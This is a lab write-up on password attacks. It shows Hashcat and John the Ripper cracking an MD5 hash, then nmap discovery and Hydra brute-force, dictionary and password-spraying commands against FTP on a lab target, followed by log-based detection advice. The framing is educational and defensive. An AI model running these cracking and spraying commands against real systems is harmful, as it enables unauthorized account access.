

Password Attacks & Hash Cracking Lab

🎯 Objective

The objective of this lab was to understand and perform different types of password attacks including offline hash cracking and online brute-force attacks. The lab also focuses on identifying how these attacks appear from a defender's perspective.

🔧 Tools Used

- Hashcat
 - John the Ripper
 - Hydra
 - hashid
 - Nmap
-

🔑 Part 1: Hash Cracking (Offline Attack)

Step 1: Hash Generation

An MD5 hash was generated:

```
echo -n "password" | md5sum
```

Step 2: Hash Identification

The hash was identified as MD5 using `hashid`.

⚡ Hashcat Attack

Command:

```
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
```

Result:

- Password successfully cracked: **password**
- Attack Type: Dictionary attack
- Observation: Very fast due to optimized processing

⚡ John the Ripper Attack

Command:

```
john hash.txt  
john --show hash.txt
```

Result:

- Password recovered: **password**
 - Observation: Automatically detected hash type and cracked efficiently
-

🌐 Part 2: Hydra Attack (Online Attack)

Step 1: Target Discovery

Target IP identified using Nmap:

```
nmap -sn 192.168.56.0/24
```

Step 2: Service Enumeration

```
nmap <target-ip>
```

Open services found:

- FTP (21)
- SSH (22)
- Telnet (23)

⚡ Brute Force Attack (FTP)

Command:

```
hydra -l msfadmin -p msfadmin ftp://<target-ip>
```

Result:

- Credentials found: **msfadmin / msfadmin**
- Attack Type: Single password test (quick validation)

⚡ Dictionary Attack

Command:

```
hydra -l msfadmin -P small.txt ftp://<target-ip>
```

Observation:

- Faster than full wordlist
- Efficient for lab testing

⚡ Password Spraying

Command:

```
hydra -L users.txt -p msfadmin ftp://<target-ip>
```

Observation:

- Same password tested across multiple users
- Lower risk of account lockout
- More stealthy compared to brute force

🛡️ Defender's Perspective

Log Analysis

Checked logs:

```
/var/log/auth.log
```

Brute Force Pattern

- Repeated login failures for same user
- Example:

```
Failed login for msfadmin
(repeated multiple times)
```

Password Spraying Pattern

- Same password attempted across multiple users
- Example:

```
Failed login for user1
Failed login for user2
Failed login for user3
```

Tool Comparison

Tool	Type	Speed	Detectable
Hashcat	Offline	Very Fast	No
John the Ripper	Offline	Medium	No
Hydra	Online	Slow	Yes

Security Recommendations

- Enforce strong password policies
- Implement account lockout mechanisms
- Enable Multi-Factor Authentication (MFA)
- Monitor login attempts in logs
- Use tools like Fail2Ban for automated blocking

Key Learnings

- Offline attacks (Hashcat, John) are faster and stealthy
- Online attacks (Hydra) are slower and generate logs
- Password spraying is more effective than brute force in real environments
- Weak/default credentials are a major security risk
- Log analysis is critical for detecting attacks

Conclusion

This lab demonstrated both offensive and defensive aspects of password attacks. It highlighted the importance of proper password security and monitoring mechanisms in preventing unauthorized access.